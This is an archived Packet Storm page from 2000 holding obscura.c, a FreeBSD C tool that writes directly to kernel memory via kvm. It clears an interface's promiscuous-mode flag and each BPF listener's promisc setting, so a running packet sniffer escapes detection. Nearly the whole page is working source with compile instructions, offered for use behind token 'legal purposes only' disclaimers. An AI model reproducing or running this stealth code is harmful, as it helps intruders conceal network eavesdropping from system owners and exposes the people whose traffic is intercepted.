what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

obscura.c

obscura.c
Posted May 4, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

Total obscurity for BPF Promisc Mode.

SHA-256 | c8c67b00a7d8e3402342580f91f8c081512aed840c76ef6935fdc3c782677947

obscura.c

Change Mirror Download
/*
* Name: Total obscurity for BPF Promisc Mode
* Date: Sat Mar 25 16:40:12 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject 2000 - Digital Sekurity for Y2k
* Sikurezza.org - Italian Security MailingList
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #4: Fri Mar i386
*
* Give more obscurity of P53-10 tools... note here as in apk's code if we
* change IFF_PROMISC in ifnet structure ....
* when your System calls a ioctl(SIOCSIFFLAGS) for that interface, it invokes
* if_ioctl() and allframes bit for that device will be disabled because test
* in init function is done for example in this way:
*
* if(ifp->if_flags & IFF_PROMISC) {
* AL_SETBIT(sc, AL_NETCFG, AL_NETCFG_RX_PROMISC);
* } else {
* AL_CLRBIT(sc, AL_NETCFG, AL_NET_CFG_RX_PROMISC);
* }
*
* SIOCSIFFLAGS is not the only situation for a call to init function for that
* device (see BFi-8 for further information)
*
* This code was written in order to test a my tool ... Modification or use of
* this source code is intended only for legal purposes, It was coded for no
* malicious aims.. perhaps it doesn't work ;)
*
*
* Compile with: cc obscura.c -lkvm
*
*/


#include <stdio.h>
#include <string.h>
#include <sysexits.h>
#include <err.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_var.h>
#include <net/bpfdesc.h>
#include <nlist.h>
#include <kvm.h>

#define Error(x) errx(EX_UNAVAILABLE, x);

void usage __P((char *));
void bpf_zero __P((kvm_t *, struct ifnet *));

struct nlist list[] = {
{"_ifnet"},
{NULL}
};

int
main(int argc, char **argv)
{
struct ifnethead ifh;
struct ifnet ifc, *ifp;
char ifname[IFNAMSIZ];
kvm_t *kd;

if(argc!=2)
usage(argv[0]);

if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, NULL)))
Error("kvm_open()");

if(kvm_nlist(kd, list) == -1)
Error("kvm_nlist()");

if(!list[0].n_value)
Error("checking n_value");

kvm_read(kd, list[0].n_value, &ifh, sizeof ifh);
ifp = ifh.tqh_first;

for(;ifp;ifp = ifc.if_link.tqe_next) {

kvm_read(kd, (u_long)ifp, &ifc, sizeof ifc);
kvm_read(kd, (u_long)ifc.if_name, ifname, sizeof ifname);
snprintf(ifname, IFNAMSIZ, "%s%d", ifname, ifc.if_unit);

if(!strcmp(ifname, argv[1])) {
printf("%s found ... promisc mode ", ifname);
if(ifc.if_flags & IFF_PROMISC) {
printf("(found)\n");
if(ifc.if_pcount)
/* I clear this ...
* you can do a perfect thing by changing this
* in bpf_zero() decreasing for each descriptor
* found ...
*/
ifc.if_pcount = 0;
ifc.if_flags &= ~IFF_PROMISC;
kvm_write(kd, (u_long)ifp, &ifc, sizeof ifc);
printf("BPF Analysis for %s interface\n",
ifname);
bpf_zero(kd, &ifc);
}else
printf("(not found)\n");

} else
printf("skipping -> %s\n", ifname);


}

kvm_close(kd);
return 0;

}

void
usage(char *name)
{
printf("FreeBSD - Promisc Total Obscurity\n"
"Warning this tool is intended for testing of ks...\n"
"Don't use it for illegal purposes\n\n"
"pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]\n\n");
printf("Usage: %s interface\n", name);
exit(1);
}

void
bpf_zero(kvm_t *kd, struct ifnet *ifp)
{
struct bpf_if ibpf;
struct bpf_d dbpf, *pdbpf;
register int count = 0;

kvm_read(kd, (u_long)ifp->if_bpf, &ibpf, sizeof ibpf);
pdbpf = ibpf.bif_dlist;

for(; pdbpf; pdbpf = dbpf.bd_next) {
kvm_read(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
printf("#%d listener has %spromisc mode enabled",
++count, (!dbpf.bd_promisc) ? "no " : " ");

if(dbpf.bd_promisc) {
printf(" (changed)");
dbpf.bd_promisc = 0;
kvm_write(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
}

putchar('\n');
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close